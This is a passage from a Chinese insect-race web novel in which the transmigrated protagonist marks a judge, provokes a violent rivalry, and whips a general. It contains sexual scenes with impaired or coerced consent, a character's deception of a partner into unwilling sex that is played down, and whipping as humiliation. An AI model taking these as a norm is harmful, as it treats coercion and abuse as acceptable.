江林也舒服得浑身发颤,匕首落在格雷西的脖子上,锋利的刀刃划破了他的肌肤,江林狠狠掐了一下他的手臂,让格雷西停止了吸舔他后颈的行为。 冷漠的审判长格雷西停止了他的下流行径,喘着粗气,他毫不畏惧匕首,轻轻握住了雄虫的白皙手腕,将匕首从颈侧移开。 “格雷西你弟弟正在门口看着你呢。”江林双眼发红,故意恶劣地笑起来。 格雷西果然浑身一僵,转头看去,却发现四周空无一虫,他重新看向江林。 “格雷西你将我视为害死你雌父的罪魁祸首,若是你雌父在天上看见你为了一只雄虫仿佛失智的畜生供我享乐,你觉得他能闭得上眼睛吗?”江林不喜欢雌虫这种进入情潮期就理智被欲望侵蚀的模样,那就像是毫无理智的兽类,让他觉得乏味,所以他要让格雷西清醒过来。 他的确做到了,格雷西面容出现丝丝挣扎扭曲的表情,恨怨爱欲交织着,停下了所有的动作。这时江林便主动捧住他的脸,轻轻吻住他的嘴唇,望着他眼睛:“来吧,我们该开始了,格雷西,你雌父是个不错的军雌,你向我展示你的力量吧。” 格雷西迟钝地垂下眼珠子看向江林,想要推开这个恶劣透顶的雄虫,却被本能和天性的驱使忍不住靠近,脑海中的情绪在不断撕扯,控制不住地回应着雄虫的亲吻,舌尖交缠间,他还听见雄虫在提他的弟弟:“一定要给你弟弟做个好榜样啊,你表现得好,我愿意给他一次留在我身边的机会。” “不要。”格雷西飞快做出反应,低头看着黑发黑眸的雄虫,轻轻掀开他的衣摆,低头吻住他的脖颈,他声音有些发颤:“你放过他吧,他还那么小。” “好啊,看你表现咯。”江林抓着他紫色头发把玩,看着濒临崩溃要被欲望撕碎的雌虫,唇角弯了弯,“保持理智和清醒噢,一定要不心甘,不情愿地被我玩弄,否则失去理智的你,太对不起你的血海深仇了呢。” 格雷西拳头捏紧,结实的脊背被慢慢地江林攀住。 江林只觉得这个设定有趣又无趣,有趣在就算再怎么桀骜,再怎么冷漠的雌虫,在陷入情潮期后,对雄虫的渴望可以说是超越了所有的理智。此刻就算让他露出自己的勾尾,学狗摇尾巴,他们也只会欢快地摇动着,但虫族的勾尾明明是用于战斗杀虫的 而一门之隔的走廊上,哈珀正撅在地上,双眼通红,像狗一般闻着门缝,从里面泄露出的丝丝信息素。 第105章 古堡内其他地方都安静无比, 虫侍们都知道金斯利阁下最讨厌胡乱喧哗的虫,但主卧中相框砸在地上,桌上的花瓶也碎了一地, 差点划伤雄虫白皙的脚踝。 雄虫被雌虫抱起,放在柔软的床上, 他微微俯身,轻嗅着雄虫身上引得虫发狂的味道,一下一下舔舐着他的下颌和脖颈。 江林微微扬起下巴, 享受着雌虫的讨好,半眯起眼睛, 感受到了胸口传来的痒意,微微紧绷了背,轻哼一声,引得雌虫更加疯狂地渴求,这是雄虫对雌虫的行为表示赞赏和满意 后来,江林被格雷西抱起, 放在自己腰上, 江林轻轻撑着他的身体, 垂眼就能瞧见格雷西痛苦又欢愉的脸,他主动抬起自己的腿, 配合江林的一切 /// 哈珀双眼发红, 天性和本能战胜了雌虫其他的情感,他缓缓打开了门,偌大的房间内一片狼藉, 像是经受了风暴的洗礼,床上的床帘都被扯了下来,落在江林雪白的腰间。 他肩膀在发颤, 手臂轻轻压在格雷西的腿上,格雷西的宽大手掌握住那截白腰,手背上青筋微微暴起,似乎雄虫的一切都是他在掌控着。 哈珀视线落在雄虫被舔得有些发红的后颈,喉结默默滚动了一瞬,视线中迸射出强势和占有的情感。 门被失去理智、信息素影响的雌虫默默打开,江林似有察觉,光裸的后背感觉丝丝凉意,却在下一秒被一个温暖的手臂环住。 江林微微挑眉,率先看见的是格雷西那张警惕的脸,正直直地盯着江林的身后,雌虫之间追求配偶,大多只有拥有强悍身体的虫才能得到雄虫的青睐。 江林感受到脖子被一双粗糙的大手卡住,虎口有茧,摩挲着他的下巴,他微微扬起脸,后颈柔软的那一块被粗粝的舌苔扫过,被雌虫大口吃进嘴里,身体微微一抖,双眼都堆积了泪水,如同清澈的湖泊般。 格雷西冷下脸来,自己咬在嘴边的肉被虫拿走了,明明他和雄虫如此亲密,但能感觉到雄虫的注意力已经转移到身后的雌虫身上了 哈珀用力吞吃着他的信息素,手臂大力环抱着江林的身体,要将他从格雷西的身边抽离出来,但下一秒,格雷西坐起来,也拉住了江林的手臂,另外一只手警告地放在哈珀手臂上,他紫眸冰冷:“哈珀·贝尔,你在这是在和我宣战吗?” 哈珀轻轻咬了咬江林的后颈,才从他颈后露出自己的脸,他肤色很深,手臂环在江林白皙的身体上,是视觉的冲击,黑白分明的肤色交织在一起。 江林有些疲惫地靠在他怀里,前方也是一只存在感十足的雌虫,他眯起眼,吐出一点舌头呼气,下一瞬被哈珀扭着下巴亲了起来,深吻落下,唇舌被卷入粗暴雌虫的嘴中 格雷西真的生气了,看着近在咫尺的雄虫和其他雌虫拥吻,露出的猩红交缠的亲密舌尖令虫怒气冲天,他一把抓起哈珀的头发,巨大的手臂力量,直接将雌虫掼到地上,哈珀害怕连累或者伤害到雄虫,在身体失控的瞬间松开了他。 格雷西抢回了雄虫的所有权,他将江林放在自己身后,江林直接倒在床上,扯着被子盖住自己的身体,弯着眼看着倒在地上的雌虫,那双眼睛依旧贪婪地盯着他。 “这是我的雄虫,哈珀。”格雷西甚至警告地露出自己身后锋利的勾尾,浑身都处于战斗状态,誓死都会捍卫自己的雄虫。 哈珀就像是刚刚尝到一点血腥味的鲨鱼,根本无法忍受被虫夺走自己的食物,他双眼危险的看向格雷西,此刻根本管不了眼前的虫是不是自己曾经的战友,只想和他厮杀到底,最后获得雄虫的占有权。 速度一闪,哈珀直接将格雷西按在墙上,墙壁震颤一声,墙上的翅膀砸在地上,格雷西看着掐着他脖子和宣战的雌虫,冰冷的唇角勾起,抬起手肘狠狠击打他的手臂,那力道哈珀躲闪不及的话,手臂就会断裂。 江林暂时舒服了些,便悠哉看戏了,撑着下巴,看他们把自己的房间拆掉,雌虫在情潮期荷尔蒙处于最顶端的时候,不光想在雄虫面前展示自己的力量,还想要弄死周边所有和他争抢的雌虫。 刺激眼球的打斗,两虫不留余力地想要置对方于死地,肌肤上淌出血液,格雷西踩着哈珀的骨翅,反剪他的手臂,虽然格雷西身上也全是伤,但胜利者是谁一目了然。 “刚刚失去一只骨翅的雌虫,怎么会是我的对手呢?”格雷西用力碾了碾他失去骨翅的后背脊柱伤口,脸上泛着冰冷的笑容。 哈珀脸贴着地面,口鼻溢出鲜血,但一双眼睛还是直勾勾地看着江林,双眼充血般,他被绑住身体,扔出了房间。 格雷西缓步朝着江林走去,充血鼓起的肌肉都是汗水,蓬勃的力量感扑面而来,身上还遍布着斑驳的血迹,脸上是胜利者的笑容,江林抬脚踩在他腹部结实的肌肉上,脚踝被他用力握住。 “滚去洗干净再来。”江林嫌弃他满身脏污和汗渍,脸颊又浮动起点点潮红,格雷西顺着雄虫的小腿摸了摸,才转身去了浴室。 从浴室出来的格雷西,从身后抱住雄虫,唇抵在他有些红肿的后颈,用自己的气味覆盖刚刚在上面留下的雌虫气味。江林微微弓起身,垂下的眼睫泪光闪烁着,雄虫和雌虫之间的结合太过于刺激,身体的反应是极为剧烈和欢愉的。 江林躺在床上,看着主动的格雷西,他眼角落下眼泪,剔透的眼泪顺着脸颊落入被单中,他嗤笑一声:“高傲的审判长如果清醒后,知道自己居然为了自己讨厌的雄虫,而大打出手的话,只怕会恨不得找个地缝钻进去吧。” 格雷西动作一顿,却并不做任何的辩解和回答,只是逐渐让江林的说话声词不成句。 “格雷西,你也不过如此为了欲望,能够出卖自己的信仰啊。”江林从喉间发出轻响,双眼微微睁大,他标记了格雷西。 /// 格雷西捡起地上的衣物,看着床上安详熟睡的雄虫,当信息素散去,空气恢复清新,冰冷的空气进入格雷西的肺腑,被天性和欲望支配的可怕让雌虫心间涌起寒冰之感。而更让他绝望的是,身体被雄虫标记的不适感,那种感觉莫名让他害怕,有一种无法掌控自己身体的无力感。 他咬肌隆起,眼神变成冰冷的杀意,想要不受雄虫的控制,唯有一种方法就是杀死雄虫。他拳头捏紧,高热褪去只剩下冷意。他走到床头,看着脆弱的雄虫,他亲身感受过他的脆弱,只是轻轻一捏便能让他吃痛皱眉。 他只需要掐住雄虫的脖子,轻轻一拧,便能解决他现在的困境。 而就在他静静看着江林的同时,江林倏地睁开双眼,似乎察觉到了他的靠近,一双眼清明含笑,那脆弱苍白的雄虫,瞬间变得锋利恶劣起来,他红唇一勾,开口讽刺道:“怎么?格雷西审判长想要杀我?” 江林的视线落在他双腿上,上面有粘腻的液体滑落,双眼变得戏谑:“刚刚我可没逼你,是你自己拼尽全力打败了哈珀,就只为了争夺我的所有权。” 格雷西克制地咬牙,如果不是江林诱导他进入情潮期,他不会这么失去理智,“” “你小心一点,可能你肚子里正怀着我的虫崽呢,你也不想孩子出生就没有雄父吧,那会像你和你弟弟一样可怜哦。” 格雷西因为江林的话双眼微缩,后退了两步,表情有些惊恐之色,手按住自己的平坦腹部。 “你还害怕上了,我的虫崽不会在你这种下贱的雌虫腹腔中诞生。”江林讽刺地说道,眼神冷漠高傲,“现在从我的房间里滚出去。” 格雷西转身就走,脚步有些凌乱,慌了神。 江林等他离开,重新盖上被子准备睡觉,他早就询问过系统,他不可能有血脉留在小世界,所以这些雌虫也不可能怀孕,只是吓唬虫罢了 格雷西匆忙从楼梯走下来,随着江林的发情结束,信息素的味道趋近消失,被捆绑的哈珀也恢复了正常,他被扔在走廊间,看着匆忙跑出来、衣冠不整的格雷西,眼神沉默。 格雷西看着被绑成粽子的雌虫,脚步一顿,默默替他解开绳子。 哈帕身上的伤疼痛难忍,格雷西是下了死手的,身上的伤痛提醒他刚刚做了一件怎样疯狂又丢脸的事情。他轻轻呼出一口气,看着旁边比他更加沉默的格雷西,被虫这样暴揍一顿,还是想说出一些难听的话:“为了一只雄虫你居然暴露出了这么强大的战力。” 格雷西松绑之后,克制地抿了抿唇没有说话。 “你被终身标记了吧?”哈帕摸了摸自己受伤的脊背,那里被折断了骨翅,他现在依旧无法适应。 “被终身标记的雌虫对雄虫的依赖只会日渐加深,以后也会像今天一样对着金斯利摇尾乞怜,成为他身边的猎犬,你雌父在天有灵看着你拥有这么优秀的雄虫也会为你骄傲吧” “闭嘴!”格雷西偏头看着哈珀,冷淡地说道:“你以为你刚刚就不像是抢骨头的野狗吗?疯狂舔舐雄虫的后颈,甚至不顾身体的伤痛挑衅我,你有什么资格讽刺我呢?” 哈珀便不说话了,两虫一起走到楼下,哈珀才低声询问:“你不会后悔吧,我们的计划” “我不会,计划照常进行,金斯利也必须死。”格雷西飞快打断他的话。 哈珀这才满意的收回视线,鼻尖似乎还能闻到格雷西身上雄虫的味道,控制不住的吞咽了口水,才提醒道:“你最好是现在去医院打一针避孕针,否则” “我的事情不劳你烦心。”格雷西警告地看着他,眼神如刀锋般。 /// 江林标记格雷西的事情并没有引起任何的波澜,只是杰里却变得战战兢兢,欲言又止,最终还是往江林身边一跪,扒拉着他的裤脚哭起来:“阁下,你一定要救救我。” 江林正在看星网的狗血短剧,吓了一跳,手上的鲜花饼都掉到裤子上了,他捡起鲜花饼砸在杰里的脸上,骂道:“发什么疯,好好说话。” 杰里忍气吞声,委委屈屈地说道:“上次您被诱导发/情,我也受到了影响发/情了,然后我便约了尤金,然后我标记了他,现在三天过去,我有朋友说尤金好像怀孕了” “这不是好事吗?怀了就生下来呗,又不是养不起。”江林不以为然地说道。 “但那天是我骗了尤金,他并不是自愿的现在他们家族似乎对我很大的意见,都想弄死我了。”杰里委屈死了,明明那晚尤金也很主动的,现在怎么能什么都怪他呢。 “那你想让我怎么帮你?”江林打量着杰里,这只雄虫虽然跟在金斯利身边,但并不是那种残暴的雄虫,虽然等级不高,可良心不错,而且对金斯利忠心耿耿。原剧情中江林被陷害叛国入狱,这些雌虫们想让杰里做假证,却被杰里狠狠拒绝,最后和原主一起死了。 “尤金都怀了我的虫崽了,我也想让他成为我的雌君,但我身份太低,等级也配不上,只能求求您,看能不能让他们松口?”杰里小心地打量着江林的脸色,很怕下一秒巴掌便甩在他脸上了。 “我想想法子,你这个没用的东西。”江林朝着他翻白眼:“我虽让你接近尤金,却不是这么卑微啊,你可是尊贵的雄虫” “B级以上的才是尊贵的阁下,像我这种无权无势的雄虫,算哪门子尊贵”杰里小声嘟囔着。 江林一巴掌拍在他脑袋上:“那些雌虫有什么了不起的?再强悍又能怎么样,若是没有雄虫的精神疏导,只会提前进入衰亡僵化,连理智都无法保持。所以到底是谁离不开谁?他们该自卑,还是你该自卑。” 杰里听到这话又挺直了腰杆:“他们需要我!” /// “他这是怎么了?”伏恩紧急从军部赶到医疗部,眼神有些焦急,因为他的乔治又精神力崩溃了。 医虫看着手上的数据报告,为难的看着他伏恩,“伏恩少将,上次乔治分化成S级的雌虫,是受到了雄虫精神力的引导和标记,他刚刚成年,又是以这种方式分化,他现在需要雄虫的精神引导” “什么?!”伏恩震惊出声,碧眼微微瞪大,“你刚刚的话什么意思?” “少将还是尽快找到标记乔治的那只雄虫,请求他来对乔治进行精神引导,否则后果轻则精神力等级降级,重则精神污染加重。”医虫解释道。 “不能洗去标记吗?”伏恩两眼一黑。 “不行,乔治分化太依靠雄虫的精神力引导和激发,短时间内洗去标记是不可能的,乔治的脑域承受不住,还不够成熟。”医虫低声说道。 伏恩如同被烈火焚烧般痛苦,他在金斯利手下受够了折磨,现在却为了弟弟不得不有求于虫,他几乎敢肯定,金斯利绝不可能轻易帮助他。 但没有办法,他为了弟弟不得不去求他,虽然弟弟乔治的痛苦可能就是金斯利带来的。 /// “阁下,伏恩来了。”杰里站在他身后,小声说道。 江林扬了扬眉,看着从外面被虫侍引导走进来的金发伏恩,他穿着白金的军装,身材挺拔,脸色有些发白,主动跪在江林跟前。 “呦,伏恩少将不是一向不喜欢卑躬屈膝吗?”江林笑眯眯的看着他,饶有兴趣的看着伏恩。 伏恩的五官立体,碧绿的眼睛有些像蛇,充斥着非人的冷漠感,双手举起一根鞭子,声音很冷,态度却很卑微:“金斯利阁下,乔治危在旦夕,希望您能出手相助。” 江林这才明白伏恩跪在这里的原因,没想到其中变数就是那没死成的弟弟乔治。 “你知道我的规矩的。”江林不动,眼神带着笑,却犹如冰冷的刀子刮着伏恩的皮肉。 伏恩放下鞭子,脱掉自己的上衣,军装被放在旁边的椅子上,露出白皙的肌肤,流畅的肌肉线条,背部的肌肉鼓鼓涨涨,身躯高大,犹如一座小山似的跪在江林面前,双手抬起鞭子递到江林手边。 江林这才接过鞭子,伏恩转身背对着他,江林没有留情抬手抽在他背上,瞬间一道血痕便出现了,他语气稍冷:“我还以为你伏恩再也不需要我了呢,当初在拍卖会上让我丢了脸面,你与那丹狼狈为奸算计我,真以为我不知道?” 丹阁下就是帝国另外一只A级雄虫,属于新贵族,是和伏恩家族一派的,当初在丹家族宴会上,伏恩拒绝下跪,甚至跟着丹算计了金斯利,让他高价买下一个赝品不说,还让他差点受伤。 这笔帐可都记着呢。 “丹标记过你了吧,你这只淫/荡的雌虫。”江林又是一鞭子甩过去。 伏恩双臂垂在身侧,克制的握拳,身体没有丝毫的闪躲:“我没有,我和丹阁下没有任何的私情,还请阁下不要诬蔑我的清白。” “你还顶嘴?”江林把鞭子递给杰里,杰里接过鞭子,熟练进行鞭打,江林转到伏恩的眼前,看着他那双含恨的绿眸,笑眯眯地说道:“没想到你还有求我的一天吧。” “但我凭什么帮你呢?乔治是你弟弟,可不是我的。” “只要你能救他,我都听您的。”伏恩脸上露出点哀求的神色。 江林居高临下的看着他:“都听我的?还是阳奉阴违,表面上听我的,背地里却想着怎么弄死我呢?” 伏恩心中一凝,脸上却不显:“你是如此尊贵的雄虫,怎么会有虫敢忤逆您呢。” 还不断有皮开肉绽的声音。 “这样吧,你认识尤金吧,好像听说你们家还有点血缘关系?”江林这话落下,杰里抽鞭子的手都抖了一下。 “是。”伏恩从牙缝中挤出来的回答,两家的关系很亲密,尤金还要唤他一声表哥。 “那就好办了。”江林微微一笑。 /// 伏恩不得不答应雄虫的无耻条件,毕竟乔治不能在等了。病房内,被绑住手脚的雌虫正直勾勾看着眼前的雄虫,那只漂亮的雄虫,乔治眼圈都红了,这次却不是恨的,而是渴望的,他渴望雄虫能抚摸他的脑袋,能够轻轻抱住他。 江林看着病床上的年轻雌虫,秀丽的雌虫,带着一点年纪太轻的婴儿肥,双眼圆溜溜地看着他,像一只渴望被抚摸的小狗,尾巴都摇成螺旋状了。 江林伸出自己的精神意识查看他的脑域情况,那暴乱的精神力在触碰到江林的精神触须后纷纷安静下来,乖巧地等待疏导和安抚。 下一瞬,乔治挣脱了手臂的捆绑,直接下了床,江林吓了一跳,下意识往后跑,但马上被抱住了双腿。少年抱住他的膝盖,跪在他面前,仰着脸看着他,“金斯利阁下” 雄虫轻轻抚摸他的发丝,镇定下来,雌虫蹭着他的手背。 站在病房外,单向玻璃前的伏恩停止自己想要冲进去的脚步,脸色逐渐沉下来,看着那下贱跪在雄虫脚边的雌虫,只觉得心中无比难受,耳边还传来雌虫戳心窝子的话:“看来你的弟弟很喜欢他的雄主啊。” 今天才从战场归来的诺里斯,金斯利匹配的雌虫之一,他是唯一一个只受过鞭打的雌虫,可以说是最会讨好金斯利的雌虫。 “啧啧啧,不得不说我们金斯利阁下的手段了得,短短十几天的时间内,先是抢夺了朱利安阁下的雌君,再标记了格雷西,让两只雌虫大打出手,现在你的弟弟又臣服于金斯利阁下的魅力之下,啧啧,不错不错,伏恩少将这是准备和弟弟一起伺候一个雄主吗?”诺里斯血色的眼眸带着玩味的笑意,唇角泛着讽刺的笑容。 伏恩根本没有力气再和他争辩任何,如果乔治离不开金斯利,那么计划便不能如期进行,他必须要保证弟弟的安全 “但是伏恩你可不能阻止我们噢。”诺里斯似乎看穿了他的想法,轻声提醒道。 伏恩抬眼看着他,情绪内敛却冷淡:“你不需要警告我,而是确保计划能顺利进行。” 诺里斯耸耸肩,挑眉看着玻璃窗内的雄虫,在安抚雌虫时,居然能看见眼底闪过的一丝柔光,他血色的瞳孔倒映着雄虫漂亮的脸。 第106章 医疗诊室外不光有驻守的军雌守卫, 就连病房内,也有保证雄虫安全的机器人,只要雌虫表现出任何一点的攻击性, 机器人就会发出警报,同时启动警备保护雄虫。 江林安抚好精神紊乱的乔治, 转身轻轻拍了拍被他抱皱的衣服,脸上表情变得冷淡,走出病房, 门口站在的两只雌虫微微朝着他低头敬礼。 “金斯利阁下,好久不见。”诺里斯露出灿烂的笑容, 明媚的笑容中没有伏恩的苦大仇深。 江林微微挑眉,诺里斯新贵族,最是心狠狡诈,相比伏恩被折断翅翼,格雷西被金斯利害死的雌父,以及被绑架的弟弟, 哈帕被金斯利从小欺凌, 诺里斯只是受过几次鞭挞, 显得犹为轻松。 “多谢金斯利阁下出手相助。”伏恩也低下脑袋,垂下的眼睫掩盖了眼中所有的情绪。 江林手背在身后, 有些嫌弃地说道:“下次可别找我了, 雌虫的眼泪都弄脏了我的外套,真的太恶心了” 他直白的嫌弃,伏恩脸色有些难看, 但诺里斯却笑着附和道:“那小崽子不知道金斯利阁下的衣料可是用最名贵的布料制成的,怎么能这么不小心呢,要说我就该治他的罪啊” 伏恩扫了一眼诺里斯, 眼底闪过不悦,沉声道:“乔治不懂事,阁下的衣料我照价赔偿,还请不要为难乔治。” 江林摆了摆手,似不耐烦和他们继续纠缠:“你只需要将我吩咐的事情办好就好了,其他的不用你管。” 他又看向诺里斯,“你什么时候回来的?” “今天刚到帝都,连衣服都没换,就来找阁下了,离开的这些日子,我甚是想念阁下啊。”诺里斯极为真诚地说道,笑眯眯地看着江林。 江林心中对诺里斯画上了高危的标记,毕竟那些摆在明面上的恨意,倒是没那么可怕,这种背后捅刀子的才更恶心。 “是吗?是精神污染又加重了吧。”江林不接他的茬,转身离开医疗休息室,诺里斯追上前:“我送阁下。” 伏恩走进医疗室,看着弟弟泛着红晕的脸颊,唇角含笑的表情,眼神微暗。 /// 飞行器内,诺里斯侃侃而谈他对阁下的爱慕之情和思念之感,犹如滔滔江水连绵不绝。 飞行器按照既定的飞行轨道在高耸的建筑周围飞过,这个小小的飞行器内,只有两只虫,江林只是静静看着诺里斯鬼话连篇,眼前的虫也能眼睛不眨地说鬼话,仿佛江林是他的观众。 直到飞行器发出警报声,“警报警报,飞行器T790被不明物体锁定,现已向最近的安保处发出求助,警报警报” 江林一怔,诺里斯也停下了自己的侃侃而谈,两虫下意识地对视一眼,然后下一秒,飞行器被狠狠一撞,内部变得地动山摇起来。江林用力抓着旁边的扶手,身形凌乱晃动,随着机身被炮弹轰中,轨道偏离原本的航线,瞬间就造成了一系列的交通事故。 如果不是飞行器足够硬核,怕是早就爆炸起火,虫死身毁了。 诺里斯这种时候还在看玩笑:“阁下,到底是谁这么恨你,居然敢在中心区动手?” 江林半点不惊慌,冷静地看着他:“你应该能带我冲出飞行器吧?” 诺里斯可是军区中将,S+体质的雌虫。 “现在冲出也是个死,在这么急速的气流下小心被飞行器撞中……还不如等飞行器自动停下,现在空中轨道交通全部瘫痪,保卫处会第一时间做出反应”诺里斯却下意识地看向江林那张镇定自若的脸,心中在盘算若让这只雄虫顺势死在这里,他能摆脱嫌疑的概率是多少。 江林脊背冒出一点寒毛,下意识抬眼看向雌虫,似乎察觉诺里斯眼底的寒意,他捏紧了手指,语气冷嘲:“你在盘算在这里杀死我后,脱罪的说辞吗?” 诺里斯当然矢口否认:“当然不是,我对金斯利阁下忠心耿耿啊。” 江林盯着猩红的眸子,警告似的说道:“这里到处都是监控,我的飞行器中也有监控,就算飞行器毁了,监控也保存在数据中上传星网” “阁下为什么这么紧张,我说了我没有这么大逆不道的想法。”诺里斯抬脚走到江林身边,伸手将虫拉入怀中,抱着他的肩膀,低头抵在江林的耳畔,低语:“雄虫多么可爱的生物,我怎么舍得杀死呢。” 江林趴在雌虫怀里,感觉到他结实有力的臂膀环着他的腰,同时从雌虫身后脊背冒出的黑色翅翼静静包裹着江林的身体,似乎将他包成了茧,身体左摇右晃,却也不曾受伤。 诺里斯见雄虫的手指紧紧地抓着他的衣摆,仿佛抓着救命稻草般,他忍不住出声调侃:“金斯利阁下,这是我看你最脆弱的时候,真的好心疼啊,只想把你揽入怀中,好好疼爱,你的耳朵也好红,是害羞了吗?” 他占尽了上风,江林却不可能被这么调侃,地动山摇的飞行器猛地落地,带着重重的撞击感,他缓声道:“这次你救了我,我奖励你一个荣誉怎么样?” “什么?”诺里斯顺势问。 “被我标记。”江林停抬手推开他,望着他有些停滞的表情,反问道:“怎么了?不满意吗?” 诺里斯是一只追求自由和肆意的雌虫,从未想过被雄虫标记,他也知道江林厌恶雌虫更加不可能给雌虫主动标记。 “如果您愿意的话,那当然是我的荣幸。”诺里斯没有当场拒绝,只是有些僵硬地笑着。 飞行器的门打开,前来救人的巡逻队发现雄虫完好无伤才松了一口气。 “阁下,攻击您的虫已经被控制下来,很抱歉让您受惊了。” “马上移交警署,很快就能给您交代的。” 江林也没纠缠,原主得罪的人太多了,个个都想要他的命,太正常了,就算明面上不敢要,背地里却手段频出,庄园那么多雌虫守卫,就是因为金斯利遇见过很多次刺杀。 诺里斯不动声色的看着江林,瞳孔微微放大,若是平时这个时候雄虫大概会破口大骂,或者牵连其他虫,现在却表现得有些过于平静了。 他眼神一闪,露出点笑容,重新和江林坐上飞行器的时候,主动开口:“上次阁下和我说,想要去军区任职。” 江林睫毛一颤,静等他下文。 金斯利从前的确想要进入军部,他天真地以为只要进入军部,就能掌握权力。 “从前怕军区那些没轻没重的崽子们伤了娇贵的雄虫,但前些日子,有平民雄虫在军区任职,军部支付高额报酬,都是一些低等级的雄虫,像您这般高等级的只怕很难进入,且工作难度比较疲惫,您确定要去吗?”诺里斯视线的余光一直在轻轻打量着江林。 江林硬着头皮保持人设,眼神露出点兴奋,回答:“有机会我当然想进去,能够为虫帝分忧,是我的荣幸。” “好,这些日子军区还会持续招募雄虫,届时您倒是可以去试试。”诺里斯眼中闪过一些嘲意,军区都是一些雌虫,那些肯自愿入职的雄虫,大多都是荒淫的雄虫,霍乱了纪律不说,还让各种雌虫争风吃醋。 前段时间,便有一只雄虫精神力过度支配差点死在疏导室,这事被诺里斯压了下来,却也给雄虫们一个警告。 军区不是胡闹的地方。 诺里斯送江林回到庄园才转身离开,杰里在门口迎接他,双眼关心:“听说您遇到了暴虫?哪里受伤了没?” 江林身形一晃,杰里连忙扶着他的手臂,“天哪,阁下,您这是怎么了?!” “别嚷嚷了,你家阁下马上就要去上班了,只是觉得有些头晕眼花而已”江林脸出现一些丧气,不懂原主为什么不愿意当一只混吃等死的雄虫呢。 “啊,去军区任职吗?”杰里一惊,便开始自己吓自己了:“不能去啊,阁下,你没听说有只雄虫差点死在军区吗?所有在军区任职的雄虫,都说被榨干了嗯,就是被压榨干了!” /// 格雷西姗姗来迟,诺里斯换了一身干净休闲的装束,像个贵公子似的穿着马甲,脚上踩着皮鞋,桌上摆放着军棋,旁边放着音乐,他嘴里哼着小曲。 “诺里斯中将。”格雷西面色阴沉,不卑不亢,身上还穿着没来得及换的审判长的服装。 诺里斯伸手邀请的姿势:“坐吧,格雷西审判长。” 严格来说,格雷西的命还是诺里斯救的,当初那场灭门屠杀,是诺里斯出言救了他。 诺里斯鼻尖轻轻嗅了一瞬,似乎在嗅闻空气中的味道,最后睁开眼似笑非笑地看着格雷西,他脸色有些紧绷,他轻嗤一声:“你身上带着一股臭味。” “”格雷西拳头微微捏紧,冷漠的紫眸轻轻一颤。 “你的生殖腔被雄虫进入过了?”虽然是疑问的语调,但诺里斯却是笃定的语气。 他直白的话语让格雷西几乎承受不住,默默咬住了牙关,算是默认了。 诺里斯打量着他僵硬的脸色,唇角荡漾着意味不明的笑容:“检查过了吗?肚子里是不是已经” “没有。”格雷西飞快打断了他的话,双眼肃穆冷漠,竖起了尖刺:“这只是一场意外,我不认为这件事有被反复拿出来讨论的必要。” 诺里斯眯了眯眼,眼睛仿佛血红的弯月,“他们都说雌虫刻在骨子里的基因是服从,渴望被雄虫标记和占有,被终身标记的雌虫会对自己的雄虫产生越来越多的依赖,难道审判长没有这样的感觉吗?” 格雷西依旧是反驳并且清醒地坚持自己的观点:“没有,只是一场意外而已。” “雌虫不会服从于任何雄虫。” 诺里斯持怀疑态度,但勉强相信:“金斯利不久后会到军区任职。” “他?”格雷西看向诺里斯:“你有什么计划?” “我只是试探一下他而已,你不觉得他变得有些奇怪吗?”诺里斯屈指在桌子上敲击了两下,“丹·金科瑞,就是那只A级雄虫,前些天被撞了脑袋,他说自己不是虫子,是人?那种早就灭绝了很多年的生物,但他说得有理有据,之后性情大变,变得非常不正常了。” “自以为是的尊重雌虫,引得不少雌虫对他更加趋之若鹜,昨天听军长焦头烂额地告诉我,丹好像也主动地递交了军区任职的文书。” 格雷西怔了怔,表情凝重:“你怀疑金斯利脑袋里也进奇怪的东西了?” “无法下定论,但总之不是什么好事。”诺里斯喝了一口茶,看向格雷西:“金斯利好像变聪明了不少,这些天你和他接触不少,你有察觉到吗?” 这话把格雷西问蒙了,他脑海里闪过的都是他坐在雄虫腰上,居高临下看着他的轻蔑又轻佻的眼神,还有他弯腰温热湿滑几乎捉不住的腰 “我暂时没有感觉到变化。”格雷西喉咙滚了滚,冷硬地说道。 诺里斯该提的醒都说完了,便不再主动开口,两虫安静地下起了棋,格雷西心不在焉,节节败退。 /// 江林自然也知道那位穿越雄虫的存在,他猜测那可能是另外一本书中的主角吧,总之丹成为了金斯利的对照组。丹救赎了自己的雌君,只专一自己的雌君,后来也是他牵头表态称:“雌雄应该平等,呼吁雄虫不要家暴,才能家庭美满。” 他被星网众多雌虫称为最优秀的雄虫代表。 加重了砝码,让原本倾斜的天平更加倾斜。 不过江林并不在乎对方的存在,他只是来完成任务的,不是追求家庭幸福美满的。 他秉持着井水不犯河水的态度。 原本江林是没机会入职的,毕竟虫帝考虑到军区都是雌虫,雄虫进入无异于进入狼窝,无法完全保障安全,但丹·金科瑞据理力争。再加上因为雄虫的进入,军雌们的精神污染问题能够得到更加快速和充分的治疗,大大减少了雌虫虫化暴虐的事件发生。 虫帝经过多方考虑还是答应了。 江林便揣着上岗证书,大剌剌地进了军区,接待的雌虫多看了几眼雄虫,只见他穿得华丽,脖子上戴着红宝石,贵族帽,帽檐遮阳,看着不像是来上岗的,倒像是来度假的。 他一路上遇见不少光着膀子操练的雌虫,那蓬勃的肌肉,汗涔涔身体,散发着男性荷尔蒙的气息。 江林却目不斜视,走到自己的精神疏导室,他视线往旁边一探,里面大门紧闭,他低声问:“这里是?” “丹阁下的疏导室。”军雌毕恭毕敬的回答。 他眯了眯眼,到底是哪个大聪明把他们两个人安排在一起呢。 江林靠在自己的位置上打量着周围,三间房间,里面还体贴地安排了睡的床,他呼出一口气,眉眼间有些倦倦的,感觉如果金斯利被安排进入军区,发现自己居然只是雌虫们的奶妈,他大概会愤然离开吧? 他打了个哈气,门被悄悄推开,一个高大的身影出现在眼前,江林看都没看:“不好意思啊,我昨晚没睡好,精神不济,暂时无法进行雌虫的精神梳理,你去隔壁吧。” 今天一上午他用这种借口打发了很多雌虫了。 直到门口传来熟悉的声音,诺里斯含笑地声音响起:“金斯利阁下怎么能这么偷懒呢?” 江林抬起懒散的眉眼,拿下遮住他双眼的帽子,视线扫过门口的雌虫,诺里斯身边的雌虫更加高大,脸上出现一些黑色的鳞片,双眼通红,那黑色沉重的勾尾拖在地上无法收回,处于虫化期的雌虫,精神污染外显了。 在江林打量他的时候,那只虫化雌虫也沉默地看着对方,露在外面的手臂肌肉鼓起,力量感十足,像个小巨人般。 “是你啊。”江林依旧没什么精神。 “他是我的副将,奥卡姆,上一场战斗中,在污染区域受伤,精神脑域都差点崩坏,他是S级的雌虫,一般的雄虫对于这样重的伤势,根本无法治愈,只能麻烦您这只稀有尊贵的A级雄虫啦。”诺里斯介绍道。 